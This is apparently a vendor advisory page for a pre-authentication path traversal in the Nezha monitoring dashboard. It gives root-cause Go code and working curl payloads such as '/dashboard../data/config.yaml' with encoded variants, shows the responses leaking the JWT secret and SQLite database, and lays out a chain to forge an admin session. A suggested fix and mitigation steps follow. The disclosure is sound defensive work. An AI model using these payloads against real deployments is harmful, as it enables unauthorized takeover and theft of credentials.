Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

GHSA-5c25-7vpj-9mqh

CRITICAL

GHSA-5c25-7vpj-9mqh is a critical-severity (CVSS 9.1) Path Traversal vulnerability in github.com/nezhahq/nezha. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-5c25-7vpj-9mqh is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key

Also known asCVE-2026-53519GO-2026-5828
Published
Jun 26, 2026
Updated
Jul 7, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Aug 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-5c25-7vpj-9mqh.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk
0.00%0.34%0.69%1.03%0.5%0.5%0.5%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-5c25-7vpj-9mqh plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/nezhahq/nezha

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required.

In default deployments (the values shipped in model/config.go and the layout shipped in the project Dockerfile) data/config.yaml contains the HS256 jwt_secret_key used by cmd/dashboard/controller/jwt.go to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.

Details

Root cause

// cmd/dashboard/controller/controller.go @ 636f4a9
387:    fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
388:    if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
389:        stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
390:        localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
391:        if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
392:            return
393:        }
// cmd/dashboard/controller/controller.go @ 636f4a9
322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
323:     checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
324:         if _, err := os.Stat(path); err == nil {
325:             http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
326:             return true
327:         }

fallbackToFrontend is wired as the catch-all at cmd/dashboard/controller/controller.go:157r.NoRoute(fallbackToFrontend(frontendDist)) — so every URL not matched by an earlier route reaches it, including pre-auth.

Path math (verified, see appendix)

Input URL.PathTrimPrefix(..., "/dashboard")path.Join("admin-dist", ...)Reachable file
/dashboard/login/loginadmin-dist/loginlegitimate, intended
/dashboard/../data/config.yaml/../data/config.yamldata/config.yamlbut blocked by Go http.ServeFile's URL ..-segment guard → 400
/dashboard../data/config.yaml../data/config.yamldata/config.yamlserved, 200
/dashboard%2e%2e/data/config.yaml../data/config.yaml (decoded)data/config.yamlserved, 200
/dashboard..%2fdata/config.yaml../data/config.yaml (decoded)data/config.yamlserved, 200

The negative control (/dashboard/../data/config.yaml) lands at the same on-disk path after path.Join, but is rejected by http.ServeFile because Go's stdlib enforces a URL-level traversal guard that fires when the request URL itself contains a standalone .. segment. The bypass works because in /dashboard../... the first URL segment is the single token dashboard.. — no standalone .. — so the stdlib guard does not trigger. The traversal segment is created after TrimPrefix, downstream of every defense.

Why the existing defenses miss

  1. The prefix check is a substring test on the raw URL string, not a segment test. dashboard and dashboard.. are both accepted.
  2. path.Join silently Cleans the result — so the .. is consumed correctly to escape admin-dist, with no error returned to indicate escape.
  3. Go's http.ServeFile stdlib guard fires only on URLs with a standalone .. segment (per net/http.containsDotDot). The payload puts the dots inside the first segment instead.
  4. No anchored "is this still under the template root?" check exists after path.Join.

PoC

Setup

TARGET:        github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef
HARNESS:       stdlib-only port — see Appendix A
WORKDIR:       tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db
TIME-TO-REPRO: first request

The harness plants this data/config.yaml:

debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
  brand: nezha-repro

Observed responses

Primary payload — pre-auth secret disclosure:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 167
Content-Type: application/yaml
Last-Modified: Sun, 24 May 2026 12:16:23 GMT
Date: Sun, 24 May 2026 12:16:25 GMT
 
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
  brand: nezha-repro

Negative control — Go stdlib guard rejects the canonical form:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
 
invalid URL path

Encoded-dot variant — bypass also works:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]

Encoded-slash variant — bypass also works:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]

Double-encoded — confirms the bypass requires single-level encoding:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 30
Content-Type: text/html; charset=utf-8
 
<html>admin frontend OK</html>

The literal %252e%252e does not decode to .., so the path becomes admin-dist/%2e%2e/data/config.yaml (no escape), os.Stat fails, and the handler falls through to serving admin-dist/index.html — no secret disclosure.

Encoded leading slash — also blocked at the stdlib layer:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'
HTTP/1.1 400 Bad Request
 
invalid URL path

SQLite database exfil — same primitive:

curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'
HTTP/1.1 200 OK
Content-Length: 42
 
SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY

Sanity checks

  • Normal /dashboard/ request still serves admin-dist/index.html with HTTP 200 — the bypass does not regress legitimate behavior.
  • Requests to /api/... still hit the JSON-404 branch — the bypass is isolated to the /dashboard fallback.

Impact

Direct primitive

Unauth read of any file in the dashboard's working directory subtree reachable by escaping admin-dist one level. In default deployments that includes:

FileDefault pathWhy it matters
data/config.yamlfrom -c flag default (cmd/dashboard/main.go:104)Contains jwt_secret_key (signing key, HS256), agent_secret_key, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets
data/sqlite.dbfrom -db flag default (cmd/dashboard/main.go:105)Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs

Chain to administrative account takeover (verified path)

  1. Read configGET /dashboard../data/config.yaml returns plaintext YAML containing jwt_secret_key.
  2. Read databaseGET /dashboard../data/sqlite.db returns the SQLite file; an attacker opens it and reads the users table to recover admin user IDs (and any other claims the JWT references).
  3. Forge a JWT — the dashboard's JWT middleware at cmd/dashboard/controller/jwt.go:22,27 is wired with:
    Key:              []byte(singleton.Conf.JWTSecretKey),
    SigningAlgorithm: "HS256",
    CookieName:       "nz-jwt",
    IdentityKey:      model.CtxKeyAuthorizedUser,
    
    HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whose user_id claim matches the admin user from step 2 and attaches it as the nz-jwt cookie (or Authorization: Bearer ...).
  4. Operate as admin — every admin handler (adminHandler chain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings. The chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.

Suggested fix

Make the prefix test segment-aware and reject paths whose cleaned form escapes the template root before any filesystem call. Minimal diff:

- if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
-     stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
+ if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") {
+     stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/")
+     cleanPath := path.Clean("/" + stripPath)
+     if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") {
+         c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found")))
+         return
+     }
      localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)

The /dashboard -> /dashboard/ redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in frontendPageUrlRegistry.

The same hardening should be applied to the user-template branch (lines 399–405), which uses the same path.Join pattern with singleton.Conf.UserTemplate. While the /dashboard prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled URL.Path to that branch would re-introduce the same primitive.

A defense-in-depth alternative is to replace the local os.Stat + http.ServeFile branch with a http.FileServer(http.FS(subFS)) rooted at the embedded admin-dist subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/nezhahq/nezhaall versions2.0.13
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/nezhahq/nezha. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/nezhahq/nezha to 2.0.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5c25-7vpj-9mqh is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-5c25-7vpj-9mqh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-5c25-7vpj-9mqh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `fallbackToFrontend` in the dashboard's `NoRoute` handler treats any URL whose **raw string** starts with `/dashboard` as an admin-frontend asset request. The check uses `strings.HasPrefix`, not a path-segment match, so the input `/dashboard../data/config.yaml` is accepted; `strings.TrimPrefix` leaves `../data/config.yaml`; and `path.Join("admin-dist", "../data/config.yaml")` normalizes to `data/config.yaml` — which `os.Stat` finds and `http.ServeFile` returns. No authentication required. In default deployments (the values shipped in `model/config.go` and the layout shipped in th
O3 Security · Impact-Aware SCA

Is GHSA-5c25-7vpj-9mqh in your dependencies?

O3 detects GHSA-5c25-7vpj-9mqh across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.